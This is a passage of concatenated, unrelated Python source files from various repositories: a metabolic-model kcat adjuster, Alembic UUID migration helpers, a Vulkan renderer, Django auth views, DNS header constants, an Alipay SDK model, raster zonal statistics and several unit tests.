self.assertEquals(six.text_type(form['test'].as_widget()), expected)
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autopacmen/submodules/apply_manual_changes.py | Paulocracy/autopacmen | 5 | 123656 | #!/usr/bin/env python3
#
# Copyright 2019 PSB
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""appy_manual_changes.py
Includes the function for the application of a manual kcat change
of a sMOMENT-enhanced model.
"""
# IMPORTS
# External modules
import cobra
from typing import Dict, Tuple, Union
# PUBLIC FUNCTIONS
def apply_manual_changes(model: cobra.Model, kcat_change_factors: Dict[str, Tuple[str, Union[float, int]]]) -> cobra.Model:
"""Applies the given kcat value changes.
Arguments
----------
* model: cobra.Model ~ The model on which the manual changes shall be applied.
* kcat_change_factors: Dict[str, Tuple[str, Union[float, int]]] ~ See the following example :-)
Example of kcat_change_factors
----------
If the kcat of REAC1_TG_forward shall be lowered by the factor 10, and REAC2's kcat
shall be 10 times higher (REAC2 is not splitted into a forward or reverse reaction):
<pre>
kcat_change_factors = {
"REAC1": ("forward", 1/10),
"REAC2": ("", 10)
}
</pre>
Output
----------
The given cobra.Model with the given manual changes.
"""
# Get the protein pool metabolite, whose stoichiometry represents the MW/kcat value
prot_pool_metabolite = model.metabolites.get_by_id("prot_pool")
# Go through each reaction ID of the manuel changes :D
for base_reaction_id in kcat_change_factors.keys():
change_tuple = kcat_change_factors[base_reaction_id]
# Get the right reaction if a reaction direction is given
direction = change_tuple[0]
if direction != "":
addition = "_TG_" + direction
else:
addition = ""
searched_reaction_id = base_reaction_id + addition
# Get the kcat change factor
# Since the given manual changes are seen with respect to the kcat
# and the protein pool emtabolite representes MW/kcat, the
# change factor is 1/kcat_change_factor
kcat_change_factor = change_tuple[1]
stoichiometry_change_factor = 1 / kcat_change_factor
# Calculate the new stoichiometries
reaction = model.reactions.get_by_id(searched_reaction_id)
current_stoichiometry = reaction.metabolites[prot_pool_metabolite]
new_stoichiometry = current_stoichiometry * stoichiometry_change_factor
# Apply the new stoichimetries :D
change_dict = {prot_pool_metabolite: -current_stoichiometry}
reaction.add_metabolites(change_dict)
change_dict = {prot_pool_metabolite: new_stoichiometry}
reaction.add_metabolites(change_dict)
# Display the changes
print(f"Manual change of {searched_reaction_id}'s kcat, change factor {kcat_change_factor}")
# Return the changed model :-)
return model
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flask_monitoringdashboard/test/core/profiler/util/test_stringhash.py | timgates42/Flask-MonitoringDashboard | 3 | 9969 | import unittest
from flask_monitoringdashboard.core.profiler.util.stringHash import StringHash
class TestStringHash(unittest.TestCase):
def test_stringhash(self):
string_hash = StringHash()
self.assertEqual(string_hash.hash('abc'), 0)
self.assertEqual(string_hash.hash('def'), 1)
self.assertEqual(string_hash.hash('abc'), 0)
def test_unhash(self):
string_hash = StringHash()
self.assertEqual(string_hash.unhash(string_hash.hash('abc')), 'abc')
self.assertRaises(ValueError, string_hash.unhash, 'unknown')
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database-sql/python-migrations/microweb/env.py | ultraschemer/microweb-sample | 2 | 132885 | from logging.config import fileConfig
from sqlalchemy import engine_from_config
from sqlalchemy import pool
from alembic import context
# To set register primary key operation:
from alembic.operations import Operations, MigrateOperation
import sqlalchemy as sa
# Custom database types to support UUID:
from sqlalchemy.dialects.oracle import RAW
from sqlalchemy.dialects.postgresql import UUID
# this is the Alembic Config object, which provides
# access to the values within the .ini file in use.
config = context.config
# Interpret the config file for Python logging.
# This line sets up loggers basically.
fileConfig(config.config_file_name)
# add your model's MetaData object here
# for 'autogenerate' support
# from myapp import mymodel
# target_metadata = mymodel.Base.metadata
target_metadata = None
# other values from the config, defined by the needs of env.py,
# can be acquired:
# my_important_option = config.get_main_option("my_important_option")
# ... etc.
def uuid_generate_function(condition):
if condition not in ['function', 'type']:
raise Exception("UUID generator only support two options: "
"'function' or 'type'")
conn_uri = context.config.get_section_option('alembic', 'sqlalchemy.url')
if conn_uri.startswith("postgresql"):
if condition == 'type':
return UUID
else:
return 'uuid_generate_v4()'
elif conn_uri.startswith("oracle"):
if condition == 'type':
return RAW(16)
else:
return 'sys_guid()'
else:
raise Exception("Unsupported database. Currently only Oracle and "
"PostgreSQL databases are supported.")
context.uuid = uuid_generate_function
@Operations.register_operation("set_identifiable")
class SetIdentifiable(MigrateOperation):
"""Set UUID primary key in a given table."""
def __init__(self, table_name, **kw):
self.table_name = table_name
@classmethod
def set_identifiable(cls, operations, table_name, **kw):
"""Set the primary key for a given table."""
op = SetIdentifiable(table_name, **kw)
return operations.invoke(op)
def reverse(self):
return UnsetIdentifiable(self.table_name)
@Operations.register_operation("unset_identifiable")
class UnsetIdentifiable(MigrateOperation):
"""Unset UUID primary key in a given table."""
def __init__(self, table_name, **kw):
self.table_name = table_name
@classmethod
def unset_identifiable(cls, operations, table_name, **kw):
"""Unset the primary key for a given table."""
op = UnsetIdentifiable(table_name, **kw)
return operations.invoke(op)
def reverse(self):
return SetIdentifiable(self.table_name)
@Operations.implementation_for(SetIdentifiable)
def set_identifiable(operations, operation):
conn_uri = context.config.get_section_option('alembic', 'sqlalchemy.url')
# Add the custom primary key:
if(conn_uri.startswith('postgresql')):
operations.execute(
"alter table %s "
"add id uuid primary key "
"default uuid_generate_v4()" % operation.table_name
)
elif(conn_uri.startswith('oracle')):
operations.execute(
"alter table %s "
"add id raw(16) default sys_guid() "
"primary key" % operation.table_name
)
else:
raise Exception('Unsupported database - only Oracle and PostgreSQL are supported currently')
@Operations.implementation_for(UnsetIdentifiable)
def unset_identifiable(operations, operation):
operations.drop_column(operation.table_name, 'id')
@Operations.register_operation("set_createable")
class SetCreateable(MigrateOperation):
"""Set creation date in a given table."""
def __init__(self, table_name, **kw):
self.table_name = table_name
@classmethod
def set_createable(cls, operations, table_name, **kw):
"""Set the creation time for a given table."""
op = SetCreateable(table_name, **kw)
return operations.invoke(op)
def reverse(self):
return UnsetCreateable(self.table_name)
@Operations.register_operation("unset_createable")
class UnsetCreateable(MigrateOperation):
"""Unset creation date in a given table."""
def __init__(self, table_name, **kw):
self.table_name = table_name
@classmethod
def unset_createable(cls, operations, table_name, **kw):
"""Unset the creation time for a given table."""
op = UnsetCreateable(table_name, **kw)
return operations.invoke(op)
def reverse(self):
return SetCreateable(self.table_name)
@Operations.implementation_for(SetCreateable)
def set_createable(operations, operation):
operations.set_identifiable(operation.table_name)
operations.add_column(operation.table_name,
sa.Column('created_at', sa.types.TIMESTAMP(timezone=True),
server_default=sa.func.now(), nullable=False))
@Operations.implementation_for(UnsetCreateable)
def unset_createable(operations, operation):
operations.drop_column(operation.table_name, 'created_at')
operations.unset_identifiable(operation.table_name)
@Operations.register_operation("set_timeable")
class SetTimeable(MigrateOperation):
"""Set update date in a given table."""
def __init__(self, table_name, **kw):
self.table_name = table_name
@classmethod
def set_timeable(cls, operations, table_name, **kw):
"""Set the update time for a given table."""
op = SetTimeable(table_name, **kw)
return operations.invoke(op)
def reverse(self):
return UnsetTimeable(self.table_name)
@Operations.register_operation("unset_timeable")
class UnsetTimeable(MigrateOperation):
"""Unset update date in a given table."""
def __init__(self, table_name, **kw):
self.table_name = table_name
@classmethod
def unset_timeable(cls, operations, table_name, **kw):
"""Unset the update time time for a given table."""
op = UnsetTimeable(table_name, **kw)
return operations.invoke(op)
def reverse(self):
return UnsetCreateable(self.table_name)
@Operations.implementation_for(SetTimeable)
def set_timeable(operations, operation):
operations.set_createable(operation.table_name)
operations.add_column(operation.table_name,
sa.Column('updated_at', sa.types.TIMESTAMP(timezone=True),
server_default=sa.func.now(), nullable=False))
@Operations.implementation_for(UnsetTimeable)
def unset_timeable(operations, operation):
operations.drop_column(operation.table_name, 'updated_at')
operations.unset_createable(operation.table_name)
@Operations.register_operation("set_reference")
class SetReference(MigrateOperation):
"""Set a foreign key based on the custom UUID fields"""
def __init__(self, tn, f, rtn, rf='id', n=False, **kw):
self.table_name = tn
self.field = f
self.referenced_table_name = rtn
self.referenced_field = rf
self.nullable = n
@classmethod
def set_reference(cls, operations, tn, f, rtn, rf='id', n=False, **kw):
"""Set the foreign key based in the custom UUID field"""
op = SetReference(tn, f, rtn, rf, n, **kw)
return operations.invoke(op)
def reverse(self):
return UnsetReference(self.table_name, self.field,
self.referenced_table_name, self.referenced_field, self.nullable)
@Operations.register_operation("unset_reference")
class UnsetReference(MigrateOperation):
"""Reverse operation to set_reference. A simple column drop can be used too."""
def __init__(self, tn, f, rtn, rf='id', n=False, **kw):
self.table_name = tn
self.field = f
self.referenced_table_name = rtn
self.referenced_field = rf
self.nullable = n
@classmethod
def unset_reference(cls, operations, tn, f, rtn, rf='id', n=False, **kw):
"""Drop the referenced column."""
op = UnsetReference(tn, f, rtn, rf, n, **kw)
return operations.invoke(op)
def reverse(self):
return SetReference(self.table_name, self.field,
self.referenced_table_name, self.referenced_field,
self.nullable)
@Operations.implementation_for(SetReference)
def set_reference(operations, operation):
conn_uri = context.config.get_section_option('alembic', 'sqlalchemy.url')
n = "null" if operation.nullable else "not null"
# Add the custom primary key:
if(conn_uri.startswith('postgresql')):
operations.execute(
"alter table %s "
"add %s uuid %s "
"references %s(%s)" % (operation.table_name, operation.field, n,
operation.referenced_table_name, operation.referenced_field)
)
elif(conn_uri.startswith('oracle')):
operations.execute(
"alter table %s "
"add %s raw(16) %s "
"references %s(%s) " % (operation.table_name, operation.field,
n, operation.referenced_table_name, operation.referenced_field)
)
else:
raise Exception("Unsupported database - only Oracle and "
"PostgreSQL are supported currently")
@Operations.implementation_for(UnsetReference)
def unset_reference(operations, operation):
operations.drop_column(operation.table_name, operation.field)
def run_migrations_offline():
"""Run migrations in 'offline' mode.
This configures the context with just a URL
and not an Engine, though an Engine is acceptable
here as well. By skipping the Engine creation
we don't even need a DBAPI to be available.
Calls to context.execute() here emit the given string to the
script output.
"""
url = config.get_main_option("sqlalchemy.url")
context.configure(
url=url,
target_metadata=target_metadata,
literal_binds=True,
dialect_opts={"paramstyle": "named"},
)
with context.begin_transaction():
context.run_migrations()
def run_migrations_online():
"""Run migrations in 'online' mode.
In this scenario we need to set an Engine
and associate a connection with the context.
"""
connectable = engine_from_config(
config.get_section(config.config_ini_section),
prefix="sqlalchemy.",
poolclass=pool.NullPool,
)
with connectable.connect() as connection:
context.configure(
connection=connection, target_metadata=target_metadata
)
with context.begin_transaction():
context.run_migrations()
if context.is_offline_mode():
run_migrations_offline()
else:
run_migrations_online()
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] |
src/engine/renderer.py | gabdube/panic-panda | 67 | 61386 | from vulkan import vk, helpers as hvk
class Renderer(object):
def __init__(self, engine):
self.engine = engine
self.image_ready = None
self.rendering_done = None
self.render_fences = ()
self.render_cache = {}
self.enabled = True
self._setup_sync()
self._setup_render_cache()
def free(self):
engine, api, device = self.ctx
hvk.destroy_semaphore(api, device, self.image_ready)
hvk.destroy_semaphore(api, device, self.rendering_done)
for f in self.render_fences:
hvk.destroy_fence(api, device, f)
del self.engine
@property
def ctx(self):
engine = self.engine
api, device = engine.api, engine.device
return engine, api, device
def render(self, scene_data):
if not self.enabled:
return
h = hvk
engine, api, device = self.ctx
render_queue = engine.render_queue.handle
rc = self.render_cache
image_index, result = h.acquire_next_image(api, device, engine.swapchain, semaphore = self.image_ready)
fence = self.render_fences[image_index]
h.wait_for_fences(api, device, (fence,))
h.reset_fences(api, device, (fence,))
scene_data.record(image_index)
submit = rc["submit_info"]
submit.command_buffers[0] = scene_data.render_commands[image_index]
h.queue_submit(api, render_queue, (submit,), fence = fence)
present = rc["present_info"]
present.image_indices[0] = image_index
h.queue_present(api, render_queue, present)
def enable(self):
self.enabled = True
def disable(self):
_, api, device = self.ctx
hvk.device_wait_idle(api, device)
self.enabled = False
def _setup_sync(self):
engine, api, device = self.ctx
info = hvk.semaphore_create_info()
self.image_ready = hvk.create_semaphore(api, device, info)
self.rendering_done = hvk.create_semaphore(api, device, info)
self.render_fences = []
info = hvk.fence_create_info(flags=vk.FENCE_CREATE_SIGNALED_BIT)
for _ in range(len(engine.render_target.swapchain_images)):
self.render_fences.append(hvk.create_fence(api, device, info))
def _setup_render_cache(self):
engine = self.engine
self.render_cache["submit_info"] = hvk.submit_info(
wait_dst_stage_mask = (vk.PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT,),
wait_semaphores = (self.image_ready,),
signal_semaphores = (self.rendering_done,),
command_buffers = (0,)
)
self.render_cache["present_info"] = hvk.present_info(
swapchains = (engine.swapchain,),
image_indices = (0,),
wait_semaphores = (self.rendering_done,)
)
| [
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] |
mainapp/views.py | mmiyaji/Dansible | 0 | 87551 | <reponame>mmiyaji/Dansible
#!/usr/bin/env python
# encoding: utf-8
'''
views.py
Created by mmiyaji on 2016-07-10.
Copyright (c) 2016 ruh<EMAIL>. All rights reserved.
'''
from django.shortcuts import render
from django.http import HttpResponse
import os, re, sys, commands, time, datetime, random, logging
from django.http import HttpResponse, HttpResponseRedirect
from django.template import Context, loader
from django.template import RequestContext
from django.shortcuts import render_to_response
from django.core.urlresolvers import reverse
from django.contrib import auth
from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.models import User
from django.contrib.auth.decorators import login_required
from django.views.decorators.csrf import csrf_protect
from django.utils.encoding import force_unicode, smart_str
from django.core import serializers
from django.conf import settings
from django.http import Http404
from django.utils.http import urlencode
from django.http import Http404
from django.template.loader import get_template
from mainapp.models import *
logger = logging.getLogger(__name__)
def home(request):
"""
Case of GET REQUEST '/'
home page
"""
temp_values = {
"subscroll":True,
}
return render(request, 'general/index.html', temp_values)
def login_view(request):
#強制的にログアウト
logout(request)
username = password = ''
first_name = last_name = email = ''
error_list = []
error_target = []
next_url = "/"
if request.GET:
username = request.GET.get('username','')
first_name = request.GET.get('first_name','')
last_name = request.GET.get('last_name','')
email = request.GET.get('email','')
error_code = request.GET.get('error_code','')
elif request.POST:
if 'siginup' in request.POST:
signup_view(request)
else:
username = request.POST['username']
password = request.POST['password']
next_url = request.POST.get('next', next_url)
user = authenticate(username=username, password=password)
if user is not None:
if user.is_active:
login(request, user)
return HttpResponseRedirect(next_url)
else:
error_list.append('login_failed')
else:
error_list.append('login_failed')
temp_values = {
"error_list": error_list,
"error_target": error_target,
"username": username,
"first_name": first_name,
"last_name": last_name,
"email": email,
}
return render(request, 'general/login.html', temp_values)
def signup_view(request):
username = password = <PASSWORD> = ''
first_name = last_name = email = ''
error_list = []
error_target = []
if request.POST:
username = request.POST['username']
password = request.POST['password']
password2 = request.POST['password_confirm']
first_name = request.POST['first_name']
last_name = request.POST['last_name']
email = request.POST['email']
# is_staff = request.POST['is_staff']
if password == <PASSWORD> and valid_pass(password) == 0:
if not User.objects.filter(username=username):
user = User.objects.create_user(username, email, password)
user.first_name = first_name
user.last_name = last_name
user.save()
user = authenticate(username=username, password=password)
if user is not None:
if user.is_active:
login(request, user)
return HttpResponseRedirect('/')
else:
error_list.append('wrong_user')
error_list.append('signup_failed')
else:
error_list.append('wrong_password')
error_list.append('signup_failed')
error_target.append('password')
error_target.append('password2')
temp_values = {
"error_list": error_list,
"error_target": error_target,
"username": username,
"first_name": first_name,
"last_name": last_name,
"email": email,
}
# query = urlencode(temp_values)
# url = ''.join([
# reverse('dansible:login'),
# '?',
# query])
# return HttpResponseRedirect(url)
return render(request, 'general/login.html', temp_values)
else:
raise Http404
def valid_pass(password):
"""
validate password
Arguments:
- `password`:
"""
if len(password) < 6:
return 1
return 0
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utils.py | HenryZerocool/DoNotSend | 0 | 162401 | <gh_stars>0
#!/usr/bin/env python3
import socket
import logging
import colorlog
def get_ip_from_hostname(hostname: str) -> str or None:
try:
ip = socket.gethostbyname(hostname)
except socket.gaierror as e:
logging.error(e)
return None
else:
return ip
def init_logger(log_level: int = logging.DEBUG):
colorlog_format = "%(log_color)s [%(asctime)s] %(levelname)s:%(message)s"
logging.basicConfig(
# filename="file.log",
# encoding="utf-8",
format=colorlog_format,
level=log_level,
)
class DNSHeaders:
class QR:
Query = 0
Answer = 1
class OpCode:
StdQuery = 0
InvQuery = 1
SrvStatusQuery = 2
class Type:
HostAddr = 0x0001
NameServer = 0x0002
CName = 0x0005
Text = 0x0010
MailServer = 0x000F
class RCode:
NoErr = 0
FormatErr = 1
ServerFailure = 2
NameErr = 3
NotImpl = 4
Refused = 5
class DNSQuestion:
class QType:
HostAddr = 0x0001
NameServer = 0x0002
MailServer = 0x000F
class QClass:
IP = 0x0001
class DNSAnswer:
class Type:
HostAddr = 0x0001
NameServer = 0x0002
CName = 0x0005
Text = 0x0010
MailServer = 0x000F
class Class:
IP = 0x0001
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alipay/aop/api/domain/AlipayOpenOperationBizfeeAftechCancelModel.py | snowxmas/alipay-sdk-python-all | 213 | 80541 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.constant.ParamConstants import *
class AlipayOpenOperationBizfeeAftechCancelModel(object):
def __init__(self):
self._app_name = None
self._gmt_service = None
self._order_no = None
self._out_biz_no = None
self._tnt_inst_id = None
@property
def app_name(self):
return self._app_name
@app_name.setter
def app_name(self, value):
self._app_name = value
@property
def gmt_service(self):
return self._gmt_service
@gmt_service.setter
def gmt_service(self, value):
self._gmt_service = value
@property
def order_no(self):
return self._order_no
@order_no.setter
def order_no(self, value):
self._order_no = value
@property
def out_biz_no(self):
return self._out_biz_no
@out_biz_no.setter
def out_biz_no(self, value):
self._out_biz_no = value
@property
def tnt_inst_id(self):
return self._tnt_inst_id
@tnt_inst_id.setter
def tnt_inst_id(self, value):
self._tnt_inst_id = value
def to_alipay_dict(self):
params = dict()
if self.app_name:
if hasattr(self.app_name, 'to_alipay_dict'):
params['app_name'] = self.app_name.to_alipay_dict()
else:
params['app_name'] = self.app_name
if self.gmt_service:
if hasattr(self.gmt_service, 'to_alipay_dict'):
params['gmt_service'] = self.gmt_service.to_alipay_dict()
else:
params['gmt_service'] = self.gmt_service
if self.order_no:
if hasattr(self.order_no, 'to_alipay_dict'):
params['order_no'] = self.order_no.to_alipay_dict()
else:
params['order_no'] = self.order_no
if self.out_biz_no:
if hasattr(self.out_biz_no, 'to_alipay_dict'):
params['out_biz_no'] = self.out_biz_no.to_alipay_dict()
else:
params['out_biz_no'] = self.out_biz_no
if self.tnt_inst_id:
if hasattr(self.tnt_inst_id, 'to_alipay_dict'):
params['tnt_inst_id'] = self.tnt_inst_id.to_alipay_dict()
else:
params['tnt_inst_id'] = self.tnt_inst_id
return params
@staticmethod
def from_alipay_dict(d):
if not d:
return None
o = AlipayOpenOperationBizfeeAftechCancelModel()
if 'app_name' in d:
o.app_name = d['app_name']
if 'gmt_service' in d:
o.gmt_service = d['gmt_service']
if 'order_no' in d:
o.order_no = d['order_no']
if 'out_biz_no' in d:
o.out_biz_no = d['out_biz_no']
if 'tnt_inst_id' in d:
o.tnt_inst_id = d['tnt_inst_id']
return o
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] |
editor/tests/factories.py | CivicKnowledge/metaeditor | 1 | 180581 | # -*- coding: utf-8 -*-
import factory
from accounts.tests.factories import UserFactory
from editor.constants import REGION_CHOICES
from editor.models import Dataset, Format, Category, Source, Extension, DataFile
class CategoryFactory(factory.django.DjangoModelFactory):
class Meta:
model = Category
name = factory.Sequence(lambda n: 'Test dataset %03d' % n)
class SourceFactory(factory.django.DjangoModelFactory):
class Meta:
model = Source
name = factory.Sequence(lambda n: 'Test source %03d' % n)
abbreviation = factory.Sequence(lambda n: 'Test source %03d abbreviation' % n)
domain = factory.Sequence(lambda n: 'test.source-%03d.org' % n)
homepage = factory.Sequence(lambda n: 'http://test.source-%03d.org' % n)
about = factory.Sequence(lambda n: 'Test source %03d about' % n)
@factory.post_generation
def categories(self, create, extracted, **kwargs):
if not create:
# Simple build, do nothing.
return
if extracted:
# A list of categories were passed in, use them
for category in extracted:
self.categories.add(category)
class FormatFactory(factory.django.DjangoModelFactory):
class Meta:
model = Format
name = factory.Sequence(lambda n: 'Test format %03d' % n)
class ExtensionFactory(factory.django.DjangoModelFactory):
class Meta:
model = Extension
name = factory.Sequence(lambda n: 'ext%03d' % n)
class DatasetFactory(factory.django.DjangoModelFactory):
class Meta:
model = Dataset
title = factory.Sequence(lambda n: 'Test dataset %03d' % n)
source = factory.SubFactory(SourceFactory)
variant = factory.Sequence(lambda n: 'Test dataset %03d variant' % n)
start_year = 1976
end_year = 1976
coverage = ''
region = REGION_CHOICES[0][0]
page = factory.Sequence(lambda n: 'Test dataset %03d page' % n)
download_page = factory.Sequence(lambda n: 'Test dataset %03d download page' % n)
contacts = factory.Sequence(lambda n: 'Test dataset %03d contacts' % n)
entry_time_minutes = 11
user = factory.SubFactory(UserFactory)
vid = factory.Sequence(lambda n: 'd0%03d' % n)
@factory.post_generation
def categories(self, create, extracted, **kwargs):
if not create:
# Simple build, do nothing.
return
if extracted:
# A list of categories were passed in, use them
for category in extracted:
self.categories.add(category)
@factory.post_generation
def formats(self, create, extracted, **kwargs):
if not create:
# Simple build, do nothing.
return
if extracted:
# A list of formats were passed in, use them
for format_ in extracted:
self.categories.add(format_)
class DataFileFactory(factory.django.DjangoModelFactory):
class Meta:
model = DataFile
name = factory.Sequence(lambda n: 'Test datafile %03d' % n)
dataset = factory.SubFactory(DatasetFactory)
file_format = factory.SubFactory(FormatFactory)
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raster_statistic.py | Summer0328/DeeplabforRS | 3 | 12498 | <gh_stars>1-10
#!/usr/bin/env python
# Filename: raster_statistic
"""
introduction: conduct statistic based on vectos, similar to https://github.com/perrygeo/python-rasterstats,
# but allow image tiles (multi-raster).
authors: <NAME>
email:<EMAIL>
add time: 02 March, 2021
"""
import os,sys
import vector_gpd
from shapely.geometry import mapping # transform to GeJSON format
import raster_io
import basic_src.io_function as io_function
import basic_src.map_projection as map_projection
import basic_src.basic as basic
import numpy as np
from multiprocessing import Pool
def array_stats(in_array, stats, nodata,range=None):
data_1d = in_array.flatten()
data_1d = data_1d[ data_1d != nodata]
data_1d = data_1d[~np.isnan(data_1d)] # remove nan value
if range is not None:
lower = range[0]
upper = range[1]
if lower is None:
data_1d = data_1d[data_1d <= upper]
elif upper is None:
data_1d = data_1d[data_1d >= lower]
else:
data_1d = data_1d[np.logical_and( data_1d >= lower, data_1d <= upper ) ]
# https://numpy.org/doc/stable/reference/routines.statistics.html
out_value_dict = {}
for item in stats:
if item == 'mean':
value = np.mean(data_1d)
elif item == 'max':
value = np.max(data_1d)
elif item == 'min':
value = np.min(data_1d)
elif item == 'median':
value = np.median(data_1d)
elif item == 'count':
value = data_1d.size
elif item =='std':
value = np.std(data_1d)
else:
raise ValueError('unsupported stats: %s'%item)
out_value_dict[item] = value
return out_value_dict
def zonal_stats_one_polygon(idx, polygon, image_tiles, img_tile_polygons, stats, nodata=None,range=None,
band = 1,all_touched=True):
overlap_index = vector_gpd.get_poly_index_within_extent(img_tile_polygons, polygon, min_overlap_area=0.01)
image_list = [image_tiles[item] for item in overlap_index]
if len(image_list) == 1:
out_image, out_tran,nodata = raster_io.read_raster_in_polygons_mask(image_list[0], polygon, nodata=nodata,
all_touched=all_touched,bands=band)
elif len(image_list) > 1:
# for the case it overlap more than one raster, need to produce a mosaic
tmp_saved_files = []
for k_img, image_path in enumerate(image_list):
# print(image_path)
tmp_save_path = os.path.splitext(os.path.basename(image_path))[0] + '_subset_poly%d'%idx +'.tif'
_, _,nodata = raster_io.read_raster_in_polygons_mask(image_path, polygon,all_touched=all_touched,nodata=nodata,
bands=band, save_path=tmp_save_path)
tmp_saved_files.append(tmp_save_path)
# mosaic files in tmp_saved_files
save_path = 'raster_for_poly%d.tif'%idx
mosaic_args_list = ['gdal_merge.py', '-o', save_path,'-n',str(nodata),'-a_nodata',str(nodata)]
mosaic_args_list.extend(tmp_saved_files)
if basic.exec_command_args_list_one_file(mosaic_args_list,save_path) is False:
raise IOError('error, obtain a mosaic (%s) failed'%save_path)
# read the raster
out_image, out_nodata = raster_io.read_raster_one_band_np(save_path,band=band)
# remove temporal raster
tmp_saved_files.append(save_path)
for item in tmp_saved_files:
io_function.delete_file_or_dir(item)
else:
basic.outputlogMessage('warning, cannot find raster for %d (start=0) polygon'%idx)
return None
# do calculation
return array_stats(out_image, stats, nodata,range=range)
def zonal_stats_multiRasters(in_shp, raster_file_or_files, nodata=None, band = 1, stats = None, prefix='',
range=None,all_touched=True, process_num=1):
'''
zonal statistic based on vectors, along multiple rasters (image tiles)
Args:
in_shp: input vector file
raster_file_or_files: a raster file or multiple rasters
nodata:
band: band
stats: like [mean, std, max, min]
range: interested values [min, max], None means infinity
all_touched:
process_num: process number for calculation
Returns:
'''
io_function.is_file_exist(in_shp)
if stats is None:
basic.outputlogMessage('warning, No input stats, set to ["mean"])')
stats = ['mean']
if isinstance(raster_file_or_files,str):
io_function.is_file_exist(raster_file_or_files)
image_tiles = [raster_file_or_files]
elif isinstance(raster_file_or_files,list):
image_tiles = raster_file_or_files
else:
raise ValueError('unsupport type for %s'%str(raster_file_or_files))
# check projection (assume we have the same projection), check them outside this function
# get image box
img_tile_boxes = [raster_io.get_image_bound_box(tile) for tile in image_tiles]
img_tile_polygons = [vector_gpd.convert_image_bound_to_shapely_polygon(box) for box in img_tile_boxes]
polygons = vector_gpd.read_polygons_gpd(in_shp)
if len(polygons) < 1:
basic.outputlogMessage('No polygons in %s'%in_shp)
return False
# polygons_json = [mapping(item) for item in polygons] # no need when use new verion of rasterio
# process polygons one by one polygons and the corresponding image tiles (parallel and save memory)
# also to avoid error: daemonic processes are not allowed to have children
if process_num == 1:
stats_res_list = []
for idx, polygon in enumerate(polygons):
out_stats = zonal_stats_one_polygon(idx, polygon, image_tiles, img_tile_polygons, stats, nodata=nodata, range=range,
band=band, all_touched=all_touched)
stats_res_list.append(out_stats)
elif process_num > 1:
threadpool = Pool(process_num)
para_list = [ (idx, polygon, image_tiles, img_tile_polygons, stats, nodata, range,band, all_touched)
for idx, polygon in enumerate(polygons)]
stats_res_list = threadpool.starmap(zonal_stats_one_polygon,para_list)
else:
raise ValueError('Wrong process number: %s '%str(process_num))
# save to shapefile
add_attributes = {}
new_key_list = [ prefix + '_' + key for key in stats_res_list[0].keys()]
for new_ley in new_key_list:
add_attributes[new_ley] = []
for stats_result in stats_res_list:
for key in stats_result.keys():
add_attributes[prefix + '_' + key].append(stats_result[key])
vector_gpd.add_attributes_to_shp(in_shp,add_attributes)
pass
def test_zonal_stats_multiRasters():
shp = os.path.expanduser('~/Data/Arctic/canada_arctic/Willow_River/Willow_River_Thaw_Slumps.shp')
# save_shp = os.path.basename(io_function.get_name_by_adding_tail(shp,'raster_stats'))
# a single DEM
# dem_file_dir = os.path.expanduser('~/Data/Arctic/canada_arctic/DEM/WR_dem_ArcticDEM_mosaic')
# dem_path = os.path.join(dem_file_dir,'WR_extent_2m_v3.0_ArcticTileDEM_sub_1_prj.tif')
# dem patches
dem_file_dir = os.path.expanduser('~/Data/Arctic/canada_arctic/DEM/WR_dem_ArcticDEM_mosaic/dem_patches')
dem_list = io_function.get_file_list_by_ext('.tif',dem_file_dir,bsub_folder=False)
save_shp = os.path.basename(io_function.get_name_by_adding_tail(shp, 'multi_raster_stats'))
io_function.copy_shape_file(shp, save_shp)
zonal_stats_multiRasters(save_shp, dem_list, nodata=None, band=1, stats=None, prefix='dem',
range=None, all_touched=True, process_num=4)
def main():
test_zonal_stats_multiRasters()
pass
if __name__=='__main__':
basic.setlogfile('raster_statistic.log')
main() | [
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project/home/forms.py | Kirza/flask-learning | 0 | 78215 | <filename>project/home/forms.py<gh_stars>0
from flask_wtf import Form
from wtforms import TextField, TextAreaField, FileField
from wtforms.validators import DataRequired, Length
class MessageForm(Form):
title = TextField('Title', validators=[DataRequired()])
description = TextField(
'Description', validators=[DataRequired(), Length(max=140)])
class BlogPostForm(Form):
title_header = TextAreaField('Title header', validators=[DataRequired(), Length(max=80)])
title_long = TextAreaField('Title long', validators=[Length(max=250)])
content = TextAreaField('Main content', validators=[DataRequired(), Length(max=25000)])
tag = TextAreaField('Tags', validators=[Length(max=25)])
author_name_manual = TextAreaField('Only fill if author name dont match your username', validators=[Length(max=25)])
image = FileField('Image File')
class ImageForm(Form):
image = FileField('Image File')
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xp/tests/task_properties.py | druths/xp | 46 | 66288 | """
Copyright 2016 <NAME>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import unittest
from xp.pipeline import get_pipeline, USE_FILE_PREFIX
import xp.pipeline as pipeline
import os, os.path
BASE_PATH = os.path.dirname(__file__)
def get_complete_filename(fname):
return os.path.join(BASE_PATH,'pipelines',fname)
class TaskPropertiesTestCase(unittest.TestCase):
def test_one_property(self):
p = get_pipeline(get_complete_filename('one_property'),default_prefix=USE_FILE_PREFIX)
t1 = p.get_task('my_task')
props = t1.properties()
self.assertEqual(len(props),1)
self.assertEqual(props['author'],'<NAME>')
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] |
nlp/test_chatbot.py | gary-ai/gary-docker | 0 | 1602872 | import numpy as np
from chatbot import clean_up_sentence
from chatbot import bow
from chatbot import classify
from chatbot import chat_response
def test_clean_up_hello_sentence_():
assert clean_up_sentence("Hi, HoW are you?!") == ['hi', ',', 'how', 'ar', 'you', '?', '!']
def test_bow_with_no_equality_():
assert bow("test", ["plop"]) == [0]
def test_bow_with_one_equality_():
assert bow("test", ["test"]) == [1]
def test_classify_greeting_sentence_():
assert classify("Hi")[0][0] == "greeting"
def test_classify_shutter_sentence_():
assert classify("bye")[0][0] == "goodbye"
